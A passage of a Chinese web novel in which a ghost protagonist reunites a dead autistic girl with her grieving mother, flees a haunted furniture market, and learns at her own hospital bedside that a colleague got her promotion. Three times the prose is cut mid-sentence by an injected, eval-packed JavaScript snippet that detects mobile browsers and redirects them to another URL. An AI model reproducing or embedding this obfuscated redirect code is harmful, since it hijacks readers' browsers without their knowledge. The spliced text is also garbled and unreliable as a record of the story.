唉。白心叹了口气,抬起头来,看见地图上的目的地越来越近,只有一步之遥了。 还是自己找吧。 两分钟后,两人停了下来。头顶烈日悬空,而两个人坐在车上,感受不到丝毫的热气,并且冰冰凉凉的很是舒服。 这衣服不错哦。白心摘下头盔,把豆思红抱了下来,两个人站在百花市场前面的空地上。 两千功德没白花。白心低下头,看着身上透明如塑料般的防晒衣,笑了一下,黑市虽然黑,但是东西是真好。 “妈妈。”豆思红又说了一声,同时向前跑去。 白心眉头一皱,赶紧喊道:“豆豆!” 她把车收回手环,想了想,还是把头盔戴着了。有了之前在医院的经验,现在她进任何大楼都有点想戴头盔。 豆思红已经率先跑了进去,白心跟在后面,在进入之前抬起头看了一眼百花市场的大楼。 嗯,没有翻新。 白心眯起眼睛,看见这栋五层高的楼陈旧、肮脏、宛若被时代抛弃一般充满了灰尘,以及死寂。 57.沉默的幼儿园(二十四) 百花市场还是记忆里的那个百花市场,白心从一楼的大门进去,瞬间感觉到一股阴冷。 不知道是特殊结构还是空间排布的问题,家居市场似乎都是这个样子。白心一边跟着豆思红,一边打量着这个年岁已久的市场,一进入,她都觉得根本用不上防晒衣了,里面一点阳光都没有。 一楼还好,起码太阳能从大门里照进来点,一上二楼,就是真的一点光都没有了。 豆思红走得很有逻辑,白心本来打算牵着她慢慢找,结果小孩似乎是对这里很熟悉,一路也没有乱跑,而是直接朝着二楼去了。 一楼放置着一些废旧的家具,床板、茶几、衣柜……白心皱着眉,路过的时候似乎还能闻到上面的霉味。 人也没有多少。白心走在通往二楼楼梯上,感觉到这里十分安静。 她左右看了一圈,只有寥寥数人从一楼进来,而且看起来都不是消费者,而是这里的店主们。一个个老板从她的旁边路过,每个人都有种淡淡的死感,让白心想到了她自己上班时候的样子。 经济不景气,看来这里也没什么生意啊。白心苦笑了一下,房子都没人买了,当然没人买家具了。 走上二楼,白心就觉得不是很舒服。 变成鬼后她似乎对环境更敏感了,大脑还没意识到什么身体就先做出了反应。白心穿着防晒衣,没有阳光却觉得十分阴冷,没有风脖子后的寒毛却立刻竖了起来。 “豆豆!”白心喊了一声,向前跑了几步,一把抓住豆思红的小手,好让小孩不跟她走散。 二楼的主要业务是卖窗帘,和存放废旧家具的宽敞的一楼完全不同,在她们面前只有一条十分狭窄的通道。 老旧的暗红色地砖微脏,一条只能容纳三四个人并排走的小路就在白心的面前。白心站在入口处,想起来十几年前这里就是这样的分布,不知道哪个设计师设计的动线,人在里面没有个半个小时完全绕不出来,跟走迷宫似的。 毫无生气的白炽灯光充斥着整个卖场,然而五颜六色的窗帘高高挂着,层峦叠嶂如同千层饼,纵然灯光再亮,也还是有很多区域是一片黑暗。 每个商铺也很小,六七平米一间,每个店铺里面都坐着一个拿着手机大声放短视频的老板,几乎没有消费者,整个卖场没有人说话,在冷色调的白炽灯下一片死寂。 物是人非。白心皱着眉,牵着豆思红往里走,心说时过境迁,这里和以前完全不同了。 那个时候她妈也是这样牵着她在这里逛,当时热闹得仿佛菜市场,每个店铺里都站满了人,狭窄的通道人流拥挤,完全走不动道。小小的白心跟在妈妈后面,生怕走散,只能紧紧牵着妈妈的手,努力抬起头看着那些热情的大人讨价还价。 同样的设计、同样的灯光,氛围却完全不一样了。白心往里走着,看见路过的店主们都一脸面无表情地盯着手机,几秒一个短视频,尽管扬声器开到最大,却还是寂寞冷清。 跟NPC一样。白心笑了笑,心想没有玩家来玩,NPC都觉得无聊。 “妈妈——”豆思红突然甩开白心的手,猛地向前跑去。 白心一愣,感觉到手心一空,然后就看到小孩往前面快速跑走了。 “豆豆!”白心也赶紧跟上去,大声喊道,“别乱跑!” 虽然大概率不会走丢,但是不知道为什么,白心觉得这里不太对劲。她快速奔跑着,然而小孩向右转了个弯,不见了。 白心:? 白心跟着小孩转弯,一条笔直的路就在眼前,然而却没有小孩的身影。 “豆豆?”白心的头上开始冒冷汗,她慢慢往前走,边走边喊,“豆豆——” 这一片区域的灯光比刚才更暗,窗帘的颜色也变成了暗色系,白心的心跳开始加快,仿佛在玩沉浸版密室逃脱,总觉得旁边随时会冲出来一个假扮成店主的鬼。 “豆豆——”她再次喊道,然而没有回应。 白心又转了一个弯,这次她的面前出现了两条路,左边一条前面一条。白心擦了擦头上的汗,不知道该走哪一条。 这简直是非人设计。白心站在两条路的交点,把两边都打量了一遍,她根本不知道自己现在具体在什么位置,因为每个店铺看起来几乎都一模一样。 “妈妈——”右前方传来豆思红的声音。 白心听到声音一惊,赶紧向前跑去。她三步并作两步往前跑,仿佛后面有鬼追杀似的,生怕跑慢了。 但是确实,这个没有阳光没有人气又有很多障碍物的地方对于鬼来说确实是个很好的藏身之地。 白心往前面的路跑,跑了几步终于跑到了这条路的尽头。她站在尽头处的商铺处,看见右边是通往三楼入口的一条路。 而豆思红就站在二楼的最后一间店铺前,呆呆地看着店铺的主人。 白心睁大了眼睛,看见豆思红也睁大了眼睛,她的头上,悬浮着一团大大的白色光球。 灵魂种子。 “豆豆。”白心赶紧跑了过去,和豆思红一起站在了商铺前。 “识别到亡魂豆思红的阿赖耶识,是否进行收集?” 手环猛地震动,清脆甜美的女声再一次响起。 白心站在店铺前,看到了店主,店主正在和一位顾客谈笑风生,看起来十分高兴。 “妈妈。”豆思红又叫了一次,两只脚跨上前去,想要靠近妈妈。 李红豆笑着笑着,忽然眉头一皱,捂着心口顿了一下。顾客看她的表情不对,赶紧问道怎么了。 没事。她闭着眼缓了一会儿,然后睁开眼,笑着摆了摆手,我没事。 豆思红跑到了李红豆的面前,伸出手想要摸她,然而根本摸不到,摸了半天小手都没有温度和触感,直直地穿过了妈妈的身体。 白心站在原地,看着豆思红不断地尝试触碰妈妈,内心忽然一阵翻江倒海,止不住的海浪汹涌,两条泪河即将奔涌而出。 “妈妈——” 几分钟后,豆思红终于哭了,站在妈妈的旁边大哭,她不知道妈妈为什么不理她。 白心的眼泪也终于决堤。读心带来的副作用全面爆发,她看着和母亲近在咫尺却无法触摸的豆思红,心里也充满了和小孩一样的委屈、难过。 “识别到亡魂豆思红的阿赖耶识,是否进行收集?” 手环再一次提醒。 白心站在原地,两只眼睛流下两条长泪。顾客已经离开,此时店铺里只剩下李红豆一个人,不需要和人再交谈,她也终于卸下面具,脸上显露出深深的痛苦和寂寞。 她捂着胸口坐在小椅子上,闭着眼睛舒缓身心,然而似乎实在是太痛苦,缓解不了,只好睁开眼睛。 她从口袋里摸出手机,打开相册,开始一张张翻看照片。 豆思红的照片。 她只能看着豆思红的照片才能缓解。 豆思红站在妈妈旁边,看见她拿出了手机看自己,终于停止了哭泣。白心感觉到自己的心里好受了一点,也慢慢走上前去,站在了李红豆的另一边。 照片似乎是老人拍的,手法极其不稳,几乎每一张都很模糊。里面是豆思红各种各样的照片,吃饭的、睡觉的、在教室里乖乖坐着的、在院子里玩滑滑梯的……李红豆看着看着,手渐渐离开了胸口,表情也由痛苦转变成了慈爱的温柔。 “对不起,”李红豆看着豆思红的照片,说道,“希望你下辈子做个健康的小孩,不要再做我的孩子了。” 白心站在一旁,知道她指的是豆思红的自闭症。她想起帖子里的那些评论,知道自闭症确实是天生的,而且无法根治。 李红豆在责怪自己。 白心蹲了下来,和豆思红等高,她看见豆思红呆呆地看着妈妈,几颗泪珠还挂在脸上。她不明白妈妈为什么给她道歉,也不知道她说的话的意思。 豆思红只是凭着本能在爱妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975070|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。白心又看向李红豆,而妈妈是靠着理智在爱她。 理智到尽管舍不得她,也希望她下辈子健康,哪怕不再做她的孩子。 白心的内心忽然涌起一阵痛苦。那是不属于豆思红的,而是此时此刻她自己感受到的痛苦。 和之前在医院时候听到李婧说的那番话一样。白心捂着胸口,不明白一个人要如何爱一个人才能爱她的全部,要如何爱她才能只希望她健康幸福,哪怕和自己再无瓜葛。 对于刘晓希来说,念念的生是她的希望,而对于李红豆来说,豆思红的死反而给了她一丝渺茫的可能。 可能下辈子,下辈子她会健康。 又有顾客来了,李红豆立即反应过来,放下手机,两只手往脸上一抹,笑容就重新出现在了脸上。她从椅子上离开,站了起来,笑容满面地迎接顾客。 白心蹲在地上,抬起头,看见豆思红正在看着她。 “姐姐。” 她说出了除了“痛”和“妈妈”以外的第三个词语。 “豆豆。”白心看着豆思红,她越来越透明了,头上的那团光也越来越大了。 豆思红朝她走了过来,一下子撞进了她的怀里。白心愣住了,对小孩突如其来的热情不知所措。 “谢谢。”豆思红又说道。 白心微微张大了嘴,低下头看着抱着她的小孩,心里十分震惊。 “不、不客气。”她回应道。 白心心里的痛苦逐渐消失,她被豆思红抱着,心里充斥着一种安全的幸福感。她知道这是豆思红对她的感觉,信任、依赖以及安全。 豆思红像个小太阳,在这个阴冷的卖场里抱着白心,给了她一丝温暖的感觉。 而这种感觉也是她带给豆思红的。 白心的两只手紧紧抱着豆思红,抱了一会儿终于分开。她看着豆思红可爱的小脸,笑着说道:“我们去看一个漂亮阿姨好不好?” 朱萸长这么好看,是个人都会喜欢。她想,也该你来哄哄小孩了。 “好。”豆思红回答。 白心站了起来,牵着豆思红的小手,举起来说道:“跟妈妈说再见。” “妈妈,”豆思红的另一只手举起来,听话地挥了挥。 “拜拜。” 李红豆还在忙着,时不时有人来看窗帘,她十分热情,已经看不出刚才的难受了。白心看着她,知道丧女之痛一时间或许不会过去,但是在漫长的岁月里,她一定会变得强大。 和她认识的所有女人,和陈灵、高姐、甚至是刘晓希一样强大,和她接触过的所有母亲一样强大。 白心右手牵着豆思红,左手抬起来,手腕靠近了豆思红头顶的白光。 “识别到亡魂豆思红的阿赖耶识,正在进行收集。” 手环碰到灵魂种子,灵魂种子立马被吸附在了表面上,水滴汇入大海一样融进了屏幕里。 收集完毕,白心的背包里多了一颗名为豆思红的白色种子。 “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~~”刚一结束,熟悉的头像就出现在了屏幕里。 -土地婆-朱萸来电,是否接通? “是。”白心点点头,说道。 “哎呀,”朱萸在屏幕那头,短短几个小时已经恢复了精力,她一脸精神地看着白心,“忘了跟你说个事儿了,哎?” 她看着白心以及旁边透明的小孩,说道:“你们已经找到了?” “是啊,”白心笑了笑,手撩了一下不存在的刘海,说道,“开玩笑,我是谁。” 虽然不是她找的,但是并不耽误她臭屁。 “找到了就好,”朱萸松了口气,说道,“你们赶紧出来,我在查她妈妈的时候发现这个大楼有点不对劲。” “什么不对劲?”白心眉头一皱,问道。 朱萸的表情略带严肃,轻轻说道:“这个楼里,还有没被人收走的鬼。” 58.好好当人 楼里有鬼。 白心听见朱萸的话,石化了一瞬,然后有点恐慌地问道:“什么鬼?” 能被朱萸这样提醒注意的想必不是什么等闲之鬼,白心立即把手伸下去,牵起豆思红的小手。 “我不知道,”朱萸摇摇头,说道,“我是在看这个大楼结构图的时候发现的,本来是想找她妈妈,结果看到四楼有个区域一片红色。” “红色?”白心皱眉,亡魂图鉴里五颜六色的鬼又浮现在眼前。 红色,愤怒。 不好。白心拉着豆思红就往外跑,边跑边怒吼:“你咋不早说!” 朱萸在屏幕那边挠挠头,不好意思地说道:“这不是刚才太困了,一时间没想起来……” “总之你们赶紧走,我看那红色颜色挺深的,估计不太好对付。”朱萸又说道。 还好豆思红妈妈在二楼,白心一边拉着小孩原路返回一边想,要是在四楼或者五楼,说不定她们现在已经灰飞烟灭了。 通话结束,白心一个弯腰就把豆思红抱了起来,两个人朝着刚才进来的方向狂奔。 刚刚就觉得这里不对劲。白心在迷宫一样的卖场里左拐右拐,满头大汗,明明按着原路返回,此刻却又迷路了。身边任何有用的参照物都没有,全是窗帘,长的短的黑的灰的看起来几乎一模一样,连窗帘的主人们都长得大差不差。 白炽灯光单调冷冽,窗帘阴影交替重叠,两个白色灵魂在黑白光影之间穿梭,周围十分安静,连短视频的声音都没有了,只有白心沉重急促的呼吸声。 “喂,”白心抱着小孩,停在了一个店铺旁边,抬起手来气喘吁吁说道,“帮我导航到一楼出口。” “好的主人。”手环的回答仍然迅速。 绿色箭头光标立刻在白心的脚下亮起,实景导航启动,白心立刻跟着导航的方向跑,跑了二十来米,拐了两三道弯,才终于见到了刚才从一楼上来的地方。 看见出口,白心悬着的心一下就放下了,她大松一口气,额头上流下几道长汗。 她回头看了一眼,整个窗帘卖场跟山一样,黑暗、沉重、充满阴影和未知。 太可怕了。 白心回过头来,大舒一口气,心想还好有高科技,不然就完蛋了。豆思红被白心抱着,看见她额头旁的汗珠,伸出小手来努力帮她擦拭着。 白心刚把气喘匀,就感受到了小孩的抚摸。她偏过头,看见豆思红盯着她的脑袋看,认真地帮她擦汗。 “谢谢你。”白心看着小孩,心里一暖,刚才的害怕荡然无存了。 她跟刚才豆思红给她道谢一样也给她说了谢谢。 谢谢你,对不起,没关系,我爱你。小孩的世界很简单,学习的词语也很简单,但是仅仅是这几个词,就已经可以囊括大部分人际交往了。 成年人懂得更多更复杂的词汇,却很少说这几个词了。 白心转过头,抱着小孩往出口走去。此刻她的心情终于平定,想起来刚才豆思红在她妈妈那儿连续说的那些词语。 姐姐,谢谢,妈妈,拜拜。 她是个聪明的小孩。 白心走下台阶,心里不知怎的有了一丝安慰。豆思红懂得这些词语的意思,也知道在什么时候表达出来。或许她比别人的成长速度慢一些,但是她通过努力仍然很好地掌握了。 李红豆,你没有对不起她。 白心笑了一下,忽然觉得很开心。她把豆思红放了下来,右手牵着豆思红,她们站在台阶上,看见阳光照进了一楼大厅,那些陈旧的家具上灰尘飞扬,细小的尘埃飞舞着。 如同此刻她们两个的心情,轻盈、飘扬,充满了劫后余生的轻松和愉快。 她们还没有走到大门,绿色的导航仍在脚下没有消失,豆思红好奇地看着白心前面的光,伸出一只小脚想要踩它。 “小心!”白心赶紧拉住小孩,怕她摔倒,几乎给她整个人都提了起来。 豆思红笑了出来,白心也笑了出来,她再一次半蹲下去,把小孩抱了起来。 白心抱着小孩,最后一次回头看了一眼窗帘卖场。 再见,再见。 她在心里和豆思红的妈妈道别,转头就往下走,很快就走到了一楼。她们路过那些旧家具,迎着阳光走出了大楼。 白心站在门口,再一次取出机车,把小孩放了上去。 “请选择您的目的地。”机车也再一次说道。 “土地庙。”安置好豆思红,白心也爬了上去,准备把她送到朱萸那儿,让她带她去地府排队投胎。 红色图钉重新定位,机车立刻扶正,马上就要出发。白心坐在车上,两只手紧紧握着车把,刚一抬头,就看见了一个有点眼熟的身影。 “等一下。”她立即叫停。 前面走来一个女人,大热天还穿着一件黑色外套,头发梳过也还是很凌乱,两边的肩膀像两把薄刀,似乎随时能划破衣服,她整个人朝左边歪着,走路左脚有些跛,左脸上有很长一道疤。 高姐。 白心心里一惊,看着高姐路过她们,拐了个弯,径直朝百花市场里去了。 她怎么会来这儿?白心眉心一跳,看见高姐也路过了一楼的旧家具,直接上了二楼。 白心的脑子有点混乱,高姐家的陈年家具还历历在目——不可能啊,她看起来不是会置办家具的人。 难道是亲戚在这里?还是朋友?她的大脑又开始不听使唤地乱想,直到豆思红焦躁地在她怀里拱了一下才回过神来。 “好了好了,”白心立刻低声安慰,“马上走。” 她甩了甩头,把稀奇古怪的想法甩走,说道,“走吧。” 每个人都有自己的生活。她想。 机车闻声启动,离弦之矢般飞了出去。白心骑在车上,回头看了一眼百花市场大楼,它陈旧、肮脏、色彩设计都很落后,和旁边的新楼房格格不入,坐落其中宛如一个年岁已久的老人。 它也是忒修斯之船。白心回过头,看着前方的道路,想,哪怕它的材料和结构都没变,甚至内部设计也原封不动,它也不再是那个百花市场了。 在大楼里转了半天,此时已经接近中午,白心了一眼车头屏幕上的时间,刚好十一点。 还好现在是鬼,白心无厘头地想到,不用像人一样每天纠结吃什么了。 笑死,根本不用吃饭。 白心想起朱萸之前说的话,知道鬼也不会拉屎。 天啊,想到这里她不禁惊叹,鬼才应该是人的进化体吧?不用吃饭不用喝水不用拉屎就靠天地精气活着,这和修仙有什么区别? 不是有那句话吗,她又想到之前在互联网看到的一句话:人是鬼的幼年体,死是鬼的成人礼,人的本质其实是预制鬼。 当时她还觉得这什么乱七八糟的,现在却觉得颇有道理。不仅如此,鬼还有各种各样五花八门的能力——连弱得跟林黛玉不分高低的她都有了读心的能力。 妙哉妙哉,这简直太棒了! “呜呼——”烈日炎炎,白心披着防晒衣的身体透心凉,心情却是十分飞扬,她像只猴子,边骑车兜风边大声嚎叫,“呜呼——太—爽—啦——” 坐在前面的豆思红不知道后面的姐姐怎么了,突然像动物一样怪叫起来,吓得连缩脖子,两只小手也捂住了耳朵。 白心看着被她吓到的小孩,笑出了声,赶紧道歉:“对不起豆豆,我不是故意的,你别害怕——” 话音未落,手环就又一阵震动,白心抬起头,看着朱萸的头像第三次在今天出现。 “干嘛?”电话接通,她问道。 “你在哪儿?”朱萸开门见山。 白心看着朱萸身后的背景,似乎不是土地庙的样子,回答道:“正要去你那里,怎么了?” “你别去了,”朱萸说道,“赶紧来医院。” “医院?”白心眉头一皱,不禁奇怪,“哪个医院?” “就是你现在住的这个医院啊,”朱萸又说道,“我在这边有事,你到这里来。” “你在医院有什么事?”白心感到好奇,这土地婆不是天天摸鱼吗,怎么最近看起来忙得很啊。 “哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978859|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”朱萸啧了一声,语气不耐烦地回答道,“我不是租的身体撞坏了吗?现在好了,该死的医生不让我回家了,不放我走我怎么把身体还回去啊?” 这…… 白心想起自己稀巴烂的身体,知道朱萸那副瘦得跟衣架子似的肉身也好不到哪去,于是说道:“治病救人嘛,医生也是好心,你干嘛这么着急还回去?在医院多躺两天不行吗?” “主要是我不能一直躺啊,”朱萸说道,“我在里面的时候看起来是个正常人,不在里面就跟傻子没啥区别,医生一看,得,撞傻了,继续治疗。” “哈哈哈哈哈哈,”白心哈哈大笑,爆笑出声,“你就不能找个其他的灵魂塞进去嘛?” 她大概知道了,没有灵魂在躯壳里,人看起来就跟傻子没区别。想到这里她又庆幸自己是在昏迷的状态,要是醒了但一直不说话,估计陈灵都要请人来给她跳大神把她跳醒了。 “违规违规呀,”朱萸狠狠叹了口气,说道,“我总不能再在阎王眼皮子底下犯事儿吧?” “那你就一直待在里面呗,”白心转了个弯,顺带把目的地设置到了医院,说道,“等你的肉身恢复好了,看起来正常了,再还回去。” “我一直在里面你怎么办?”朱萸看着白心,眉头紧蹙。 “你又进不了地府,也不知道那些鬼想见的人住在哪里,”朱萸眼神里充满了担忧,“你没有我怎么办?” 听见朱萸的话,白心愣住了。她看着一脸担心的朱萸,她的表情十分真诚,是真的在为她担心。 “这……”白心的心里一暖,说道,“你也申请一下特殊情况,不可以吗?” 她的二十四小时权限就是黑白无常给她打开的,她想,任何工作应该都有兜底方案,总要给员工一些容错空间吧? “不是不可以,”朱萸又说,“我是怕我不在,代理的人做不好我的工作。” 原来是有代理人,不对,代理土地婆啊? “没关系啊,”白心赶紧说道,“你的主要工作不就是帮我吗?我去和她对接就好了。” 虽然她很讨厌工作到一半换搭子,但是特殊情况特殊处理,白心想,现在就是特殊情况。 “唉,”朱萸又叹了口气,说道,“那也只能这样了。” “没事,”白心笑了,微笑地看着屏幕里愁眉苦脸的女人,“你已经帮了我很多了。” 给她讲钟榆的故事、帮她带刘晓希进地府、替她解答各种疑难问题、助她找到豆思红的妈妈、告诉她大楼里有危险……白心看着朱萸,心里充满了感激,她想,你是我死后交到的最值得的朋友。 换言之,她的死能给她带来这么一个好朋友,很值得。 不是前辈也不是上司,更不是高高在上的神,而是和她平等相待的,朋友。 朱萸听见白心的话,嘴巴撅了两下,没有回答。 “好了,”白心还是笑着,安抚道,“这段时间我安心做鬼,你就好好当人,认真体验一下做人的感觉。” 说着说着,她想到了什么,坏笑了一下:“你不是不拉屎吗?这下就让你狠狠拉,拉个够!” 不仅会拉屎,人还会饿、会渴、会对奇奇怪怪的东西着迷、会有七情六欲、会有数不清的烦恼、会得到、也会失去。 听见白心的话,朱萸“咦”了一下,说道:“你恶不恶心啊?” “我有什么恶心的,”白心笑着回答,眼看着就要回到医院了,“拉屎的是你,又不是我。” “滚。”朱萸骂了一句,然后挂断了电话。 白心又哈哈哈笑了几声,骑着车冲进了医院,在住院部门口停了下来。 她把豆思红放了下来,把车和头盔都收回手环里,牵着小孩就打算进去。然而刚走了几步,几个熟悉的身影就和她们擦肩而过。 白心皱着眉,看着前面一高一矮两个女人,以及最旁边的男人。 男人穿着西服,手里提着看望病人的水果篮,路过白心的时候眼镜镜片亮了一下。旁边两个女人说着话,他也时不时地应答着。 赵志雄。 59.探病 白心牵着豆思红跟在赵志雄一行人后面。 电梯上行,一大一小两个鬼站在角落,沉默地看着电梯里的三个人类。 张蔷和钱一茜。白心眉头微皱,看着钱一茜时不时抬起头笑着和张蔷说话,一向风风火火的组长张蔷此刻倒是锋芒收敛,轻声回应着,偶尔点一下头。 三个人手里都提着东西,白心低下头看了一眼,分别是牛奶、鲜花和水果,经典探病三件套。 她又抬起头,看见赵志雄安静站在一旁,不再插话,而是低头看着自己的皮鞋发呆。 他的眼神微微放空,然而脸上却带着一丝若有似无的笑意,白心站在他的侧后方,只能看到他微笑着的半张脸。 ……这人雄孔雀开屏了?白心眉毛一挑,发现赵志雄和之前大不一样了。 她从上到下扫视了两遍赵志雄,发现他不仅瘦了点,还换掉了之前那副老土黑框眼镜,穿的也是高档西装,皮鞋锃亮,和他的银丝眼镜一样反射着光芒,一整个衣冠禽兽的模样。 他要结婚了吗?还是去主持婚礼?白心惊呆了,心说这还是之前的赵志雄吗,看起来不说跟新郎官相似,和婚礼司仪基本没差了。 明明上周五他还不这样啊。白心看了一眼手环,星期四。她放下手,又想起上周五非要和她喝酒的赵志雄——那时候他还跟婚礼路人甲没差,这才一周,怎么变成这样了? 他喝多了激情消费了?白心微张着嘴,想,还是办的卡要到期了干脆一次性花完算了? “叮——”电梯门开,三个人一起走了出去,白心也赶紧拉着小孩跟上。 等等—— 白心跟着她们,发现仨人走的方向正是她病房的方向——这是来看我啊? 这……白心跟在后面,看着张蔷打头,站在病房前抬起手敲了敲门。 属实没想到,她们竟然会来看她。 她自诩在公司是透明人,从没和别人交好过,一向奉行君子之交淡如水的职场交往规则,不讨好,也不索取。 她怕麻烦,自然也不想欠别人的人情债。白心看着张蔷和钱一茜,她们两个和赵志雄完全不同,穿的都是常服,简单得体,大方又自然。 不像来探望同事,而是朋友。 门被人打开,白心看向里面——是陈灵。 她没有去上班。 三个人一边打招呼一边走了进去,白心也跟着进入,和她们一样来探望自己。 陈灵关上门,招呼她们随便坐。金牌销售的雷达瞬间启动,陈灵立刻根据每个人的气质判断出这是白心的同事。 “领导,请坐——”陈灵精神抖擞地接过每个人手里的东西,放好之后从旁边拉来三把椅子并排摆在白心的床尾,三个人顺势坐下,一起看着昏迷不醒被包成粽子的白心。 白心也站在床尾,却没有看自己稀巴烂的身体,而是看向了陈灵。 陈灵坐在床边,脸上是销售的招牌标志性笑容,充满热情和亲和力。 她很累。白心看见她眼睛里布满血丝,两边的脸颊肉也略微松垮,虽然笑着,但熬了大半夜疲惫还是无所遁形。 傻瓜。 “这么严重?”张蔷率先开口,朝着陈灵问道,“肇事者抓到了吗?” “抓到了。”陈灵回答,并自然地把问题抛了回去,“领导这么忙还抽空来看她,实在太感激了。” “没有没有,”张蔷微笑着回答,“白心是我带的,她很优秀,我来看她是应该的。” 听见此话,陈灵转过头看了一眼床上的人,又转回头,看着坐在椅子上从容且真诚的女人,微笑道:“她的优秀离不开领导的栽培,想必您也为她花了不少心思吧。” 这什么家长发言。 白心听见陈灵的回答,不禁想笑,这话直接让她幻视家长会某些家长的发言。 “她倒是听话,没有花我什么心思,”张蔷还是微笑着,大方地说道,“就是不爱跟人交流,而且似乎有一些心事。” “心事?”听见此话,白心和陈灵一齐看向了张蔷。 钱一茜和赵志雄坐在旁边听着两个女人交谈,没有插嘴,宛若两个童子,等神仙们交流完就跟着回去。钱一茜一直盯着白心的木乃伊身体,眉间淡淡哀愁,赵志雄也看着白心,脸上没了笑意,眯着眼睛,眼神晦暗不明。 我有什么心事?白心猛地看向张蔷,心跳微微加速——我自己都不知道我有什么心事,你咋知道的? 张蔷微叹一口气,像班主任看着家长一样看着陈灵,说道:“上周团建她喝了挺多酒的,不知道是不是压力太大了。” “我看她没有人接,”张蔷继续说着,“就亲自开车把她送回去了。” 喝酒?听见喝酒,陈灵眉头一皱,说道:“她平时不怎么喝酒的。” “是啊,”张蔷也说道,“看得出来,但人总要有个发泄途径吧,她们年轻人压力大也能理解。” 白心:“……” 看来组长只记得她喝醉在酒桌上跳舞的事了,完全不知道她为什么会喝那么多。 她看向旁边的赵志雄,心想你倒是说话呀!死男人你哑巴了吗! 然而赵志雄还是一言不发,完全没有替白心解释的意思。 听到张蔷的话,陈灵没有回答。白心喝醉的事似乎令她感到微微震惊,一时间也忘了继续和人社交了。 看陈灵没有做声,张蔷站了起来,说道:“好了,我们还有一些事要处理,您要不要和我们一起吃午饭?” 陈灵终于反应了过来,赶紧说道:“不再坐会儿了吗?” 看望病人就这样,寒暄几句差不多了。白心看着屁股都还没坐热的三个人站了起来,知道这是组长一向的风格,速战速决,东西和问候送到了就行了。 她立即往后退了几步,给仨人让路。 陈灵立即站起来送客,“我送你们出去。” “不用这么客气,”张蔷开始往外走,边走边说,“祝她早日康复,请假的事不用担心,这些我都会批复。” “好。”陈灵回答道。 白心贴在墙边,看着张蔷把手搭在陈灵的肩膀上拍了拍,随后转到了陈灵的背上,边往外走边轻抚着。 钱一茜和赵志雄已经走了出去,陈灵和张蔷还在病房里,严格来说,现在整个病房只有她们两个活人能互相交流。 不知道是不是同龄人的心心相惜,还是什么别的原因,白心看到,张蔷轻轻地给了陈灵一个拥抱。 一个充满鼓励和安慰的拥抱。 “麻烦你告诉她,下一次转正,我会帮助她。”张蔷轻拍着陈灵的后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983030|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背,轻声说道。 转正?白心的心跳忽然漏了一拍——下一次? 什么意思? 两人拥抱结束,眼看着组长离开,白心赶紧跟着往外跑——下一次转正是什么意思? 难道她之前的猜测是真的?白心的心跳越来越快,她追着张蔷的步伐,想起来之前邹家财告诉她那晚组长送她回家时她的想法。 ——她要升职了? 钱一茜和赵志雄在电梯口等,白心追了出去,看见张蔷站在两人旁边,伸手拍了拍赵志雄的肩膀,说道:“接下来好好干啊,要学会珍惜机会。” 赵志雄恭敬地点了点头,回答道:“好的,感谢领导提携。” 话唠钱一茜也终于开口讲话:“被你小子捡漏了,恭喜你啊。” 白心站在走廊上,如五雷轰顶。 赵志雄转正了。 “叮——”电梯门开,三人有说有笑地走了进去,白心还想跟上去,但是却怎么也动不了。 怪不得。她看着电梯门关闭,心想怪不得赵志雄打扮得如此精致,原来是高升了。 但是——她想起刚才她们的话,这机会本来是她的啊?白心愣在原地,忽然一阵恶寒,一个十分可怕的念头陨石般撞了过来。 所以……所以那晚,赵志雄才要和她喝酒? 煤气罐下面属于赵志雄的手表又浮现在眼前,白心开始浑身发抖。 他…… “叮——”电梯门又开了,把白心的思路打断,几个更加熟悉的人出现在了眼前。 舅舅舅妈和白子涵。 白子涵的手里提着大包小包,一脸不情愿地跟在两个大人身后。白心看见舅舅舅妈直奔护士台,问“白心”在哪个病房。 问到后一家三口从白心眼前路过,直奔刚才三个人出来的病房去了。 不好。白心低下头,忽然意识到刚才出来得太急,没有带上豆思红。她赶紧原路返回,先舅舅舅妈一步跑回了病房。 豆思红不见了。 白心心里轰地一声,看着空荡的病房,大喊道:“豆豆!” 完了完了,白心左看右看,病房里只有木乃伊的她和陈灵两个人,根本没有豆思红的身影,她一瞬间心乱如麻,再次喊道:“豆豆——豆豆——” “在这里——” 一道清亮的女声从外面传来。 白心猛地回头,刚想顺着声音找去,就看到舅舅舅妈推门进来了。 推开门的一瞬间,两个大人瞬间切换表情,变魔术一样脸上堆满了假笑。 不好。白心又转头,向陈灵看去——她没有像刚才一样笑了,而是冷漠地看着进来的人。 白子涵一进来就把手里的东西往地上一搁,转身就跑走了。白心狠咬了一下嘴唇,看了看陈灵,又看了看舅舅舅妈,算了—— 